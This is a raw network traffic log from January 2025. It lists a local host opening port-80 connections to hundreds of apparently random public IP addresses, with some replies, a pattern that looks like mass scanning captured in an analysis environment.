Jan 5, 2025 14:26:58.671699047 CET	46236	80	192.168.2.13	144.228.47.121
Jan 5, 2025 14:26:58.671710014 CET	37904	80	192.168.2.13	27.187.204.8
Jan 5, 2025 14:26:58.671713114 CET	44508	80	192.168.2.13	210.251.76.35
Jan 5, 2025 14:26:58.671713114 CET	50896	80	192.168.2.13	208.31.46.129
Jan 5, 2025 14:26:58.671715021 CET	34620	80	192.168.2.13	19.181.176.189
Jan 5, 2025 14:26:58.671715021 CET	49662	80	192.168.2.13	118.1.42.140
Jan 5, 2025 14:26:58.671719074 CET	44078	80	192.168.2.13	186.233.155.56
Jan 5, 2025 14:26:58.671720982 CET	55412	80	192.168.2.13	187.215.170.91
Jan 5, 2025 14:26:58.671731949 CET	45906	80	192.168.2.13	77.148.102.80
Jan 5, 2025 14:26:58.671732903 CET	53732	80	192.168.2.13	201.24.10.218
Jan 5, 2025 14:26:58.671731949 CET	60122	80	192.168.2.13	140.140.181.59
Jan 5, 2025 14:26:58.671732903 CET	58814	80	192.168.2.13	94.49.139.13
Jan 5, 2025 14:26:58.671734095 CET	32958	80	192.168.2.13	213.52.106.216
Jan 5, 2025 14:26:58.671732903 CET	60054	80	192.168.2.13	150.85.84.94
Jan 5, 2025 14:26:58.671732903 CET	45622	80	192.168.2.13	108.5.168.211
Jan 5, 2025 14:26:58.671732903 CET	39518	80	192.168.2.13	43.23.21.100
Jan 5, 2025 14:26:58.671732903 CET	45650	80	192.168.2.13	167.140.115.101
Jan 5, 2025 14:26:58.671732903 CET	41512	80	192.168.2.13	170.114.235.83
Jan 5, 2025 14:26:58.671753883 CET	52008	80	192.168.2.13	72.243.207.101
Jan 5, 2025 14:26:58.671753883 CET	49678	80	192.168.2.13	206.50.172.164
Jan 5, 2025 14:26:58.671761990 CET	58970	80	192.168.2.13	122.69.36.230
Jan 5, 2025 14:26:58.671763897 CET	51548	80	192.168.2.13	145.68.152.40
Jan 5, 2025 14:26:58.671765089 CET	50018	80	192.168.2.13	47.221.220.24
Jan 5, 2025 14:26:58.671763897 CET	39692	80	192.168.2.13	37.54.72.91
Jan 5, 2025 14:26:58.671765089 CET	46050	80	192.168.2.13	134.102.166.128
Jan 5, 2025 14:26:58.671766996 CET	32770	80	192.168.2.13	109.245.147.71
Jan 5, 2025 14:26:58.671766996 CET	38536	80	192.168.2.13	209.62.110.93
Jan 5, 2025 14:26:58.671767950 CET	34110	80	192.168.2.13	221.136.12.9
Jan 5, 2025 14:26:58.671775103 CET	53882	80	192.168.2.13	223.121.127.185
Jan 5, 2025 14:26:58.671778917 CET	40760	80	192.168.2.13	89.193.248.250
Jan 5, 2025 14:26:58.676587105 CET	80	33168	47.223.128.61	192.168.2.13
Jan 5, 2025 14:26:58.676599026 CET	80	34374	145.19.0.251	192.168.2.13
Jan 5, 2025 14:26:58.676608086 CET	80	49246	152.11.162.118	192.168.2.13
Jan 5, 2025 14:26:58.676615953 CET	80	42564	82.20.236.77	192.168.2.13
Jan 5, 2025 14:26:58.676625013 CET	80	45020	212.2.227.97	192.168.2.13
Jan 5, 2025 14:26:58.676634073 CET	80	35984	174.78.99.129	192.168.2.13
Jan 5, 2025 14:26:58.676641941 CET	80	41350	153.128.164.130	192.168.2.13
Jan 5, 2025 14:26:58.676646948 CET	34374	80	192.168.2.13	145.19.0.251
Jan 5, 2025 14:26:58.676654100 CET	80	37558	70.59.100.39	192.168.2.13
Jan 5, 2025 14:26:58.676656961 CET	45020	80	192.168.2.13	212.2.227.97
Jan 5, 2025 14:26:58.676659107 CET	42564	80	192.168.2.13	82.20.236.77
Jan 5, 2025 14:26:58.676661968 CET	80	40292	202.59.61.14	192.168.2.13
Jan 5, 2025 14:26:58.676662922 CET	49246	80	192.168.2.13	152.11.162.118
Jan 5, 2025 14:26:58.676667929 CET	35984	80	192.168.2.13	174.78.99.129
Jan 5, 2025 14:26:58.676671028 CET	80	50226	91.66.172.72	192.168.2.13
Jan 5, 2025 14:26:58.676677942 CET	33168	80	192.168.2.13	47.223.128.61
Jan 5, 2025 14:26:58.676677942 CET	41350	80	192.168.2.13	153.128.164.130
Jan 5, 2025 14:26:58.676692963 CET	40292	80	192.168.2.13	202.59.61.14
Jan 5, 2025 14:26:58.676697969 CET	37558	80	192.168.2.13	70.59.100.39
Jan 5, 2025 14:26:58.676701069 CET	50226	80	192.168.2.13	91.66.172.72
Jan 5, 2025 14:26:58.676832914 CET	56958	80	192.168.2.13	197.193.6.20
Jan 5, 2025 14:26:58.676832914 CET	56958	80	192.168.2.13	159.75.212.185
Jan 5, 2025 14:26:58.676837921 CET	42564	80	192.168.2.13	82.20.236.77
Jan 5, 2025 14:26:58.676840067 CET	56958	80	192.168.2.13	151.27.132.31
Jan 5, 2025 14:26:58.676840067 CET	56958	80	192.168.2.13	151.188.239.97
Jan 5, 2025 14:26:58.676841021 CET	56958	80	192.168.2.13	182.190.222.185
Jan 5, 2025 14:26:58.676845074 CET	56958	80	192.168.2.13	154.150.25.204
Jan 5, 2025 14:26:58.676857948 CET	56958	80	192.168.2.13	79.35.133.227
Jan 5, 2025 14:26:58.676857948 CET	56958	80	192.168.2.13	195.93.120.140
Jan 5, 2025 14:26:58.676858902 CET	56958	80	192.168.2.13	83.221.67.132
Jan 5, 2025 14:26:58.676862001 CET	56958	80	192.168.2.13	12.251.249.192
Jan 5, 2025 14:26:58.676862001 CET	56958	80	192.168.2.13	185.98.88.224
Jan 5, 2025 14:26:58.676865101 CET	56958	80	192.168.2.13	18.84.33.12
Jan 5, 2025 14:26:58.676870108 CET	56958	80	192.168.2.13	148.66.42.118
Jan 5, 2025 14:26:58.676878929 CET	56958	80	192.168.2.13	9.3.7.34
Jan 5, 2025 14:26:58.676878929 CET	56958	80	192.168.2.13	39.247.126.33
Jan 5, 2025 14:26:58.676882029 CET	56958	80	192.168.2.13	200.49.11.199
Jan 5, 2025 14:26:58.676882029 CET	56958	80	192.168.2.13	115.77.9.1
Jan 5, 2025 14:26:58.676887989 CET	56958	80	192.168.2.13	96.150.87.152
Jan 5, 2025 14:26:58.676887989 CET	56958	80	192.168.2.13	167.98.255.217
Jan 5, 2025 14:26:58.676887989 CET	56958	80	192.168.2.13	80.204.138.108
Jan 5, 2025 14:26:58.676889896 CET	56958	80	192.168.2.13	218.203.146.217
Jan 5, 2025 14:26:58.676889896 CET	56958	80	192.168.2.13	184.157.50.201
Jan 5, 2025 14:26:58.676889896 CET	56958	80	192.168.2.13	138.18.210.37
Jan 5, 2025 14:26:58.676892042 CET	56958	80	192.168.2.13	75.141.234.2
Jan 5, 2025 14:26:58.676920891 CET	56958	80	192.168.2.13	76.60.36.87
Jan 5, 2025 14:26:58.676923037 CET	56958	80	192.168.2.13	78.159.197.101
Jan 5, 2025 14:26:58.676923037 CET	56958	80	192.168.2.13	152.62.15.151
Jan 5, 2025 14:26:58.676920891 CET	56958	80	192.168.2.13	25.115.138.3
Jan 5, 2025 14:26:58.676923037 CET	56958	80	192.168.2.13	197.3.84.248
Jan 5, 2025 14:26:58.676920891 CET	56958	80	192.168.2.13	184.219.221.156
Jan 5, 2025 14:26:58.676923990 CET	56958	80	192.168.2.13	54.162.91.121
Jan 5, 2025 14:26:58.676923990 CET	56958	80	192.168.2.13	85.144.207.207
Jan 5, 2025 14:26:58.676923990 CET	56958	80	192.168.2.13	94.207.53.215
Jan 5, 2025 14:26:58.676928043 CET	56958	80	192.168.2.13	166.192.231.75
Jan 5, 2025 14:26:58.676928997 CET	56958	80	192.168.2.13	24.49.160.202
Jan 5, 2025 14:26:58.676929951 CET	56958	80	192.168.2.13	88.145.35.77
Jan 5, 2025 14:26:58.676929951 CET	56958	80	192.168.2.13	196.250.192.11
Jan 5, 2025 14:26:58.676929951 CET	56958	80	192.168.2.13	212.250.111.249
Jan 5, 2025 14:26:58.676930904 CET	80	41492	20.28.186.113	192.168.2.13
Jan 5, 2025 14:26:58.676939964 CET	80	59862	27.255.102.38	192.168.2.13
Jan 5, 2025 14:26:58.676949024 CET	80	53268	205.118.148.77	192.168.2.13
Jan 5, 2025 14:26:58.676953077 CET	56958	80	192.168.2.13	144.37.199.70
Jan 5, 2025 14:26:58.676954985 CET	56958	80	192.168.2.13	51.86.136.231
Jan 5, 2025 14:26:58.676954985 CET	56958	80	192.168.2.13	66.48.244.127
Jan 5, 2025 14:26:58.676955938 CET	56958	80	192.168.2.13	181.90.103.128
Jan 5, 2025 14:26:58.676959038 CET	41492	80	192.168.2.13	20.28.186.113
Jan 5, 2025 14:26:58.676958084 CET	80	58202	205.205.167.21	192.168.2.13
Jan 5, 2025 14:26:58.676955938 CET	56958	80	192.168.2.13	68.90.30.89
Jan 5, 2025 14:26:58.676954985 CET	56958	80	192.168.2.13	60.57.66.216
Jan 5, 2025 14:26:58.676964998 CET	56958	80	192.168.2.13	221.154.127.157
Jan 5, 2025 14:26:58.676964998 CET	56958	80	192.168.2.13	90.12.238.248
Jan 5, 2025 14:26:58.676954985 CET	56958	80	192.168.2.13	103.248.1.197
Jan 5, 2025 14:26:58.676966906 CET	56958	80	192.168.2.13	190.137.136.126
Jan 5, 2025 14:26:58.676966906 CET	56958	80	192.168.2.13	209.131.74.19
Jan 5, 2025 14:26:58.676966906 CET	56958	80	192.168.2.13	210.96.215.166
Jan 5, 2025 14:26:58.676971912 CET	80	57070	34.20.189.80	192.168.2.13
Jan 5, 2025 14:26:58.676973104 CET	59862	80	192.168.2.13	27.255.102.38
Jan 5, 2025 14:26:58.676979065 CET	56958	80	192.168.2.13	38.88.88.123
Jan 5, 2025 14:26:58.676981926 CET	80	39330	177.15.51.100	192.168.2.13
Jan 5, 2025 14:26:58.676985025 CET	56958	80	192.168.2.13	188.38.198.48
Jan 5, 2025 14:26:58.676985979 CET	58202	80	192.168.2.13	205.205.167.21
Jan 5, 2025 14:26:58.676987886 CET	56958	80	192.168.2.13	8.113.31.154
Jan 5, 2025 14:26:58.676989079 CET	56958	80	192.168.2.13	181.252.162.180
Jan 5, 2025 14:26:58.676989079 CET	53268	80	192.168.2.13	205.118.148.77
Jan 5, 2025 14:26:58.676991940 CET	80	37306	205.84.6.154	192.168.2.13
Jan 5, 2025 14:26:58.677000999 CET	80	59566	198.40.82.222	192.168.2.13
Jan 5, 2025 14:26:58.677001953 CET	57070	80	192.168.2.13	34.20.189.80
Jan 5, 2025 14:26:58.677009106 CET	80	53770	85.165.50.215	192.168.2.13
Jan 5, 2025 14:26:58.677017927 CET	80	51924	67.6.202.35	192.168.2.13
Jan 5, 2025 14:26:58.677016020 CET	39330	80	192.168.2.13	177.15.51.100
Jan 5, 2025 14:26:58.677021980 CET	37306	80	192.168.2.13	205.84.6.154
Jan 5, 2025 14:26:58.677027941 CET	80	40220	49.38.20.8	192.168.2.13
Jan 5, 2025 14:26:58.677030087 CET	59566	80	192.168.2.13	198.40.82.222
Jan 5, 2025 14:26:58.677032948 CET	56958	80	192.168.2.13	44.150.248.76
Jan 5, 2025 14:26:58.677036047 CET	53770	80	192.168.2.13	85.165.50.215
Jan 5, 2025 14:26:58.677037954 CET	80	47058	183.75.42.187	192.168.2.13
Jan 5, 2025 14:26:58.677046061 CET	80	58878	95.225.137.142	192.168.2.13
Jan 5, 2025 14:26:58.677052975 CET	51924	80	192.168.2.13	67.6.202.35
Jan 5, 2025 14:26:58.677054882 CET	80	46236	144.228.47.121	192.168.2.13
Jan 5, 2025 14:26:58.677057028 CET	40220	80	192.168.2.13	49.38.20.8
Jan 5, 2025 14:26:58.677062988 CET	80	50578	159.50.39.200	192.168.2.13
Jan 5, 2025 14:26:58.677071095 CET	80	37904	27.187.204.8	192.168.2.13
Jan 5, 2025 14:26:58.677073956 CET	47058	80	192.168.2.13	183.75.42.187
Jan 5, 2025 14:26:58.677073956 CET	58878	80	192.168.2.13	95.225.137.142
Jan 5, 2025 14:26:58.677083015 CET	80	44078	186.233.155.56	192.168.2.13
Jan 5, 2025 14:26:58.677087069 CET	50578	80	192.168.2.13	159.50.39.200
Jan 5, 2025 14:26:58.677093029 CET	56958	80	192.168.2.13	139.228.117.51
Jan 5, 2025 14:26:58.677093029 CET	80	34620	19.181.176.189	192.168.2.13
Jan 5, 2025 14:26:58.677097082 CET	46236	80	192.168.2.13	144.228.47.121
Jan 5, 2025 14:26:58.677097082 CET	56958	80	192.168.2.13	70.152.97.182
Jan 5, 2025 14:26:58.677097082 CET	37904	80	192.168.2.13	27.187.204.8
Jan 5, 2025 14:26:58.677098989 CET	56958	80	192.168.2.13	25.94.93.150
Jan 5, 2025 14:26:58.677103043 CET	80	44508	210.251.76.35	192.168.2.13
Jan 5, 2025 14:26:58.677107096 CET	56958	80	192.168.2.13	167.80.91.38
Jan 5, 2025 14:26:58.677108049 CET	56958	80	192.168.2.13	195.210.101.242
Jan 5, 2025 14:26:58.677114964 CET	80	55412	187.215.170.91	192.168.2.13
Jan 5, 2025 14:26:58.677120924 CET	44078	80	192.168.2.13	186.233.155.56
Jan 5, 2025 14:26:58.677124023 CET	56958	80	192.168.2.13	20.140.239.127
Jan 5, 2025 14:26:58.677124023 CET	80	49662	118.1.42.140	192.168.2.13
Jan 5, 2025 14:26:58.677128077 CET	56958	80	192.168.2.13	149.217.247.13
Jan 5, 2025 14:26:58.677130938 CET	56958	80	192.168.2.13	168.233.67.254
Jan 5, 2025 14:26:58.677131891 CET	56958	80	192.168.2.13	174.240.202.11
Jan 5, 2025 14:26:58.677134037 CET	80	50896	208.31.46.129	192.168.2.13
Jan 5, 2025 14:26:58.677134037 CET	56958	80	192.168.2.13	103.60.196.109
Jan 5, 2025 14:26:58.677134991 CET	56958	80	192.168.2.13	117.240.253.194
Jan 5, 2025 14:26:58.677134991 CET	56958	80	192.168.2.13	69.17.212.215
Jan 5, 2025 14:26:58.677139044 CET	56958	80	192.168.2.13	1.164.149.0
Jan 5, 2025 14:26:58.677139044 CET	34620	80	192.168.2.13	19.181.176.189
Jan 5, 2025 14:26:58.677141905 CET	44508	80	192.168.2.13	210.251.76.35
Jan 5, 2025 14:26:58.677149057 CET	49662	80	192.168.2.13	118.1.42.140
Jan 5, 2025 14:26:58.677158117 CET	55412	80	192.168.2.13	187.215.170.91
Jan 5, 2025 14:26:58.677159071 CET	50896	80	192.168.2.13	208.31.46.129
Jan 5, 2025 14:26:58.677184105 CET	56958	80	192.168.2.13	73.178.94.238
Jan 5, 2025 14:26:58.677184105 CET	56958	80	192.168.2.13	79.45.0.119
Jan 5, 2025 14:26:58.677186012 CET	56958	80	192.168.2.13	136.232.175.54
Jan 5, 2025 14:26:58.677186966 CET	56958	80	192.168.2.13	182.219.164.103
Jan 5, 2025 14:26:58.677192926 CET	56958	80	192.168.2.13	163.224.43.82
Jan 5, 2025 14:26:58.677194118 CET	56958	80	192.168.2.13	120.132.122.247
Jan 5, 2025 14:26:58.677194118 CET	56958	80	192.168.2.13	43.119.71.9
Jan 5, 2025 14:26:58.677210093 CET	56958	80	192.168.2.13	167.46.4.135
Jan 5, 2025 14:26:58.677217960 CET	56958	80	192.168.2.13	212.108.51.70
Jan 5, 2025 14:26:58.677222013 CET	56958	80	192.168.2.13	42.160.245.25
Jan 5, 2025 14:26:58.677222013 CET	56958	80	192.168.2.13	135.88.199.123
Jan 5, 2025 14:26:58.677222013 CET	56958	80	192.168.2.13	39.228.115.204
Jan 5, 2025 14:26:58.677232981 CET	80	45906	77.148.102.80	192.168.2.13
Jan 5, 2025 14:26:58.677234888 CET	56958	80	192.168.2.13	190.195.2.188
Jan 5, 2025 14:26:58.677236080 CET	56958	80	192.168.2.13	37.56.225.63
Jan 5, 2025 14:26:58.677236080 CET	56958	80	192.168.2.13	145.219.157.241
Jan 5, 2025 14:26:58.677236080 CET	56958	80	192.168.2.13	172.56.105.65
Jan 5, 2025 14:26:58.677237988 CET	56958	80	192.168.2.13	223.34.50.141
Jan 5, 2025 14:26:58.677237988 CET	56958	80	192.168.2.13	216.13.113.98
Jan 5, 2025 14:26:58.677237988 CET	56958	80	192.168.2.13	204.195.110.4
Jan 5, 2025 14:26:58.677237988 CET	56958	80	192.168.2.13	120.147.1.245
Jan 5, 2025 14:26:58.677238941 CET	56958	80	192.168.2.13	217.205.189.106
Jan 5, 2025 14:26:58.677241087 CET	56958	80	192.168.2.13	203.198.24.0
Jan 5, 2025 14:26:58.677241087 CET	56958	80	192.168.2.13	151.113.40.75
Jan 5, 2025 14:26:58.677242994 CET	80	32958	213.52.106.216	192.168.2.13
Jan 5, 2025 14:26:58.677243948 CET	56958	80	192.168.2.13	89.60.195.28
Jan 5, 2025 14:26:58.677243948 CET	56958	80	192.168.2.13	50.10.143.182
Jan 5, 2025 14:26:58.677244902 CET	56958	80	192.168.2.13	222.43.137.251
Jan 5, 2025 14:26:58.677247047 CET	56958	80	192.168.2.13	174.27.98.128
Jan 5, 2025 14:26:58.677248001 CET	56958	80	192.168.2.13	45.102.232.255
Jan 5, 2025 14:26:58.677247047 CET	56958	80	192.168.2.13	164.5.182.80
Jan 5, 2025 14:26:58.677248001 CET	56958	80	192.168.2.13	182.16.28.194
Jan 5, 2025 14:26:58.677247047 CET	56958	80	192.168.2.13	98.190.131.169
Jan 5, 2025 14:26:58.677253008 CET	80	60122	140.140.181.59	192.168.2.13
Jan 5, 2025 14:26:58.677258015 CET	45906	80	192.168.2.13	77.148.102.80
Jan 5, 2025 14:26:58.677262068 CET	56958	80	192.168.2.13	115.215.135.88
Jan 5, 2025 14:26:58.677262068 CET	80	53732	201.24.10.218	192.168.2.13
Jan 5, 2025 14:26:58.677273035 CET	80	60054	150.85.84.94	192.168.2.13
Jan 5, 2025 14:26:58.677278996 CET	32958	80	192.168.2.13	213.52.106.216
Jan 5, 2025 14:26:58.677282095 CET	80	58814	94.49.139.13	192.168.2.13
Jan 5, 2025 14:26:58.677290916 CET	80	39518	43.23.21.100	192.168.2.13
Jan 5, 2025 14:26:58.677292109 CET	56958	80	192.168.2.13	159.26.53.82
Jan 5, 2025 14:26:58.677295923 CET	56958	80	192.168.2.13	149.232.51.76
Jan 5, 2025 14:26:58.677299976 CET	80	45622	108.5.168.211	192.168.2.13
Jan 5, 2025 14:26:58.677299976 CET	56958	80	192.168.2.13	145.245.117.68
Jan 5, 2025 14:26:58.677300930 CET	56958	80	192.168.2.13	65.138.206.111
Jan 5, 2025 14:26:58.677300930 CET	56958	80	192.168.2.13	170.189.72.222
Jan 5, 2025 14:26:58.677300930 CET	60122	80	192.168.2.13	140.140.181.59
Jan 5, 2025 14:26:58.677305937 CET	60054	80	192.168.2.13	150.85.84.94
Jan 5, 2025 14:26:58.677305937 CET	53732	80	192.168.2.13	201.24.10.218
Jan 5, 2025 14:26:58.677309036 CET	80	45650	167.140.115.101	192.168.2.13
Jan 5, 2025 14:26:58.677319050 CET	80	41512	170.114.235.83	192.168.2.13
Jan 5, 2025 14:26:58.677324057 CET	39518	80	192.168.2.13	43.23.21.100
Jan 5, 2025 14:26:58.677325964 CET	58814	80	192.168.2.13	94.49.139.13
Jan 5, 2025 14:26:58.677325964 CET	45622	80	192.168.2.13	108.5.168.211
Jan 5, 2025 14:26:58.677325964 CET	56958	80	192.168.2.13	64.106.77.55
Jan 5, 2025 14:26:58.677329063 CET	80	58970	122.69.36.230	192.168.2.13
Jan 5, 2025 14:26:58.677337885 CET	80	52008	72.243.207.101	192.168.2.13
Jan 5, 2025 14:26:58.677346945 CET	80	49678	206.50.172.164	192.168.2.13
Jan 5, 2025 14:26:58.677347898 CET	56958	80	192.168.2.13	69.87.216.102
Jan 5, 2025 14:26:58.677347898 CET	56958	80	192.168.2.13	221.25.49.33
Jan 5, 2025 14:26:58.677351952 CET	56958	80	192.168.2.13	221.222.190.198
Jan 5, 2025 14:26:58.677351952 CET	56958	80	192.168.2.13	87.197.104.252
Jan 5, 2025 14:26:58.677351952 CET	56958	80	192.168.2.13	13.199.222.218
Jan 5, 2025 14:26:58.677352905 CET	45650	80	192.168.2.13	167.140.115.101
Jan 5, 2025 14:26:58.677354097 CET	56958	80	192.168.2.13	173.126.88.156
Jan 5, 2025 14:26:58.677352905 CET	41512	80	192.168.2.13	170.114.235.83
Jan 5, 2025 14:26:58.677356958 CET	56958	80	192.168.2.13	150.47.158.24
Jan 5, 2025 14:26:58.677356958 CET	56958	80	192.168.2.13	147.70.27.210
Jan 5, 2025 14:26:58.677359104 CET	56958	80	192.168.2.13	165.211.158.158
Jan 5, 2025 14:26:58.677360058 CET	58970	80	192.168.2.13	122.69.36.230
Jan 5, 2025 14:26:58.677361012 CET	80	34110	221.136.12.9	192.168.2.13
Jan 5, 2025 14:26:58.677370071 CET	80	51548	145.68.152.40	192.168.2.13
Jan 5, 2025 14:26:58.677388906 CET	52008	80	192.168.2.13	72.243.207.101
Jan 5, 2025 14:26:58.677388906 CET	49678	80	192.168.2.13	206.50.172.164
Jan 5, 2025 14:26:58.677390099 CET	80	50018	47.221.220.24	192.168.2.13
Jan 5, 2025 14:26:58.677391052 CET	34110	80	192.168.2.13	221.136.12.9
Jan 5, 2025 14:26:58.677398920 CET	80	39692	37.54.72.91	192.168.2.13
Jan 5, 2025 14:26:58.677406073 CET	56958	80	192.168.2.13	4.87.232.229
Jan 5, 2025 14:26:58.677407980 CET	51548	80	192.168.2.13	145.68.152.40
Jan 5, 2025 14:26:58.677408934 CET	80	46050	134.102.166.128	192.168.2.13
Jan 5, 2025 14:26:58.677412987 CET	56958	80	192.168.2.13	124.43.164.223
Jan 5, 2025 14:26:58.677416086 CET	56958	80	192.168.2.13	162.30.148.161
Jan 5, 2025 14:26:58.677417994 CET	80	53882	223.121.127.185	192.168.2.13
Jan 5, 2025 14:26:58.677427053 CET	80	32770	109.245.147.71	192.168.2.13
Jan 5, 2025 14:26:58.677434921 CET	80	40760	89.193.248.250	192.168.2.13
Jan 5, 2025 14:26:58.677437067 CET	39692	80	192.168.2.13	37.54.72.91
Jan 5, 2025 14:26:58.677440882 CET	56958	80	192.168.2.13	120.255.191.21
Jan 5, 2025 14:26:58.677443027 CET	80	38536	209.62.110.93	192.168.2.13
Jan 5, 2025 14:26:58.677443981 CET	56958	80	192.168.2.13	44.154.105.71
Jan 5, 2025 14:26:58.677443981 CET	56958	80	192.168.2.13	51.17.176.227
Jan 5, 2025 14:26:58.677447081 CET	56958	80	192.168.2.13	76.233.205.169
Jan 5, 2025 14:26:58.677449942 CET	50018	80	192.168.2.13	47.221.220.24
Jan 5, 2025 14:26:58.677449942 CET	46050	80	192.168.2.13	134.102.166.128
Jan 5, 2025 14:26:58.677453041 CET	56958	80	192.168.2.13	138.48.215.19
Jan 5, 2025 14:26:58.677460909 CET	56958	80	192.168.2.13	2.228.158.38
Jan 5, 2025 14:26:58.677460909 CET	56958	80	192.168.2.13	85.25.180.88
Jan 5, 2025 14:26:58.677460909 CET	56958	80	192.168.2.13	205.0.226.157
Jan 5, 2025 14:26:58.677460909 CET	32770	80	192.168.2.13	109.245.147.71
Jan 5, 2025 14:26:58.677462101 CET	56958	80	192.168.2.13	210.249.167.41
Jan 5, 2025 14:26:58.677462101 CET	56958	80	192.168.2.13	164.46.247.231
Jan 5, 2025 14:26:58.677464008 CET	40760	80	192.168.2.13	89.193.248.250
Jan 5, 2025 14:26:58.677464008 CET	53882	80	192.168.2.13	223.121.127.185
Jan 5, 2025 14:26:58.677473068 CET	38536	80	192.168.2.13	209.62.110.93
Jan 5, 2025 14:26:58.677496910 CET	56958	80	192.168.2.13	136.40.60.184
Jan 5, 2025 14:26:58.677503109 CET	56958	80	192.168.2.13	74.126.1.85
Jan 5, 2025 14:26:58.677503109 CET	56958	80	192.168.2.13	178.194.69.21
Jan 5, 2025 14:26:58.677520990 CET	56958	80	192.168.2.13	111.70.219.6
Jan 5, 2025 14:26:58.677521944 CET	56958	80	192.168.2.13	110.61.48.36
Jan 5, 2025 14:26:58.677522898 CET	56958	80	192.168.2.13	111.247.170.101
Jan 5, 2025 14:26:58.677520990 CET	56958	80	192.168.2.13	122.54.240.62
Jan 5, 2025 14:26:58.677522898 CET	56958	80	192.168.2.13	110.101.86.106
Jan 5, 2025 14:26:58.677527905 CET	56958	80	192.168.2.13	178.58.186.68
Jan 5, 2025 14:26:58.677527905 CET	56958	80	192.168.2.13	163.82.143.111
Jan 5, 2025 14:26:58.677527905 CET	56958	80	192.168.2.13	73.181.163.88
Jan 5, 2025 14:26:58.677527905 CET	56958	80	192.168.2.13	152.76.218.85
Jan 5, 2025 14:26:58.677527905 CET	56958	80	192.168.2.13	110.166.117.149
Jan 5, 2025 14:26:58.677532911 CET	56958	80	192.168.2.13	154.173.181.45
Jan 5, 2025 14:26:58.677542925 CET	56958	80	192.168.2.13	185.3.16.41
Jan 5, 2025 14:26:58.677547932 CET	56958	80	192.168.2.13	158.238.30.214
Jan 5, 2025 14:26:58.677550077 CET	56958	80	192.168.2.13	192.208.190.140
Jan 5, 2025 14:26:58.677550077 CET	56958	80	192.168.2.13	201.117.247.98
Jan 5, 2025 14:26:58.677551031 CET	56958	80	192.168.2.13	150.130.154.227
Jan 5, 2025 14:26:58.677558899 CET	56958	80	192.168.2.13	183.185.116.56
Jan 5, 2025 14:26:58.677568913 CET	56958	80	192.168.2.13	113.202.58.255
Jan 5, 2025 14:26:58.677570105 CET	56958	80	192.168.2.13	156.245.127.37
Jan 5, 2025 14:26:58.677570105 CET	56958	80	192.168.2.13	83.64.38.96
Jan 5, 2025 14:26:58.677577972 CET	56958	80	192.168.2.13	59.80.161.24
Jan 5, 2025 14:26:58.677578926 CET	56958	80	192.168.2.13	202.17.19.43
Jan 5, 2025 14:26:58.677582026 CET	56958	80	192.168.2.13	150.66.28.190
Jan 5, 2025 14:26:58.677582026 CET	56958	80	192.168.2.13	123.63.0.191
Jan 5, 2025 14:26:58.677582979 CET	56958	80	192.168.2.13	130.212.51.151
Jan 5, 2025 14:26:58.677582979 CET	56958	80	192.168.2.13	192.0.87.51
Jan 5, 2025 14:26:58.677583933 CET	56958	80	192.168.2.13	176.141.45.125
Jan 5, 2025 14:26:58.677584887 CET	56958	80	192.168.2.13	108.29.10.200
Jan 5, 2025 14:26:58.677592039 CET	56958	80	192.168.2.13	205.189.125.180
Jan 5, 2025 14:26:58.677614927 CET	56958	80	192.168.2.13	196.148.214.206
Jan 5, 2025 14:26:58.677619934 CET	56958	80	192.168.2.13	117.232.53.71
Jan 5, 2025 14:26:58.677622080 CET	56958	80	192.168.2.13	73.38.176.34
Jan 5, 2025 14:26:58.677622080 CET	56958	80	192.168.2.13	102.212.75.226
Jan 5, 2025 14:26:58.677623034 CET	56958	80	192.168.2.13	191.165.25.123
Jan 5, 2025 14:26:58.677623034 CET	56958	80	192.168.2.13	47.52.68.44
Jan 5, 2025 14:26:58.677625895 CET	56958	80	192.168.2.13	195.43.136.252
Jan 5, 2025 14:26:58.677625895 CET	56958	80	192.168.2.13	154.0.248.47
Jan 5, 2025 14:26:58.677625895 CET	56958	80	192.168.2.13	208.197.91.251
Jan 5, 2025 14:26:58.677629948 CET	56958	80	192.168.2.13	193.155.95.179
Jan 5, 2025 14:26:58.677633047 CET	56958	80	192.168.2.13	146.119.109.92
Jan 5, 2025 14:26:58.677653074 CET	56958	80	192.168.2.13	121.191.196.111
Jan 5, 2025 14:26:58.677653074 CET	56958	80	192.168.2.13	144.44.230.212
Jan 5, 2025 14:26:58.677653074 CET	56958	80	192.168.2.13	142.0.54.52
Jan 5, 2025 14:26:58.677653074 CET	56958	80	192.168.2.13	223.64.12.143
Jan 5, 2025 14:26:58.677654982 CET	56958	80	192.168.2.13	210.6.121.133
Jan 5, 2025 14:26:58.677654982 CET	56958	80	192.168.2.13	54.54.227.11
Jan 5, 2025 14:26:58.677659988 CET	56958	80	192.168.2.13	213.68.89.79
Jan 5, 2025 14:26:58.677663088 CET	56958	80	192.168.2.13	219.88.13.3
Jan 5, 2025 14:26:58.677663088 CET	56958	80	192.168.2.13	12.45.111.222
Jan 5, 2025 14:26:58.677663088 CET	56958	80	192.168.2.13	34.44.162.147
Jan 5, 2025 14:26:58.677663088 CET	56958	80	192.168.2.13	37.88.127.255
Jan 5, 2025 14:26:58.677663088 CET	56958	80	192.168.2.13	81.104.226.102
Jan 5, 2025 14:26:58.677664042 CET	56958	80	192.168.2.13	182.74.155.144
Jan 5, 2025 14:26:58.677674055 CET	56958	80	192.168.2.13	113.86.120.55
Jan 5, 2025 14:26:58.677674055 CET	56958	80	192.168.2.13	153.87.78.64
Jan 5, 2025 14:26:58.677676916 CET	56958	80	192.168.2.13	150.47.208.42
Jan 5, 2025 14:26:58.677676916 CET	56958	80	192.168.2.13	119.128.202.141
Jan 5, 2025 14:26:58.677691936 CET	56958	80	192.168.2.13	25.222.234.86
Jan 5, 2025 14:26:58.677691936 CET	56958	80	192.168.2.13	25.217.193.196
Jan 5, 2025 14:26:58.677700043 CET	56958	80	192.168.2.13	192.64.244.193
Jan 5, 2025 14:26:58.677702904 CET	56958	80	192.168.2.13	193.254.99.110
Jan 5, 2025 14:26:58.677702904 CET	56958	80	192.168.2.13	96.234.8.9
Jan 5, 2025 14:26:58.677704096 CET	56958	80	192.168.2.13	63.17.215.44
Jan 5, 2025 14:26:58.677716970 CET	56958	80	192.168.2.13	147.40.61.251
Jan 5, 2025 14:26:58.677716970 CET	56958	80	192.168.2.13	57.246.167.238
Jan 5, 2025 14:26:58.677717924 CET	56958	80	192.168.2.13	73.145.24.57
Jan 5, 2025 14:26:58.677726030 CET	56958	80	192.168.2.13	14.140.235.166
Jan 5, 2025 14:26:58.677730083 CET	56958	80	192.168.2.13	189.127.225.2
Jan 5, 2025 14:26:58.677730083 CET	56958	80	192.168.2.13	27.148.51.46
Jan 5, 2025 14:26:58.677730083 CET	56958	80	192.168.2.13	156.3.183.95
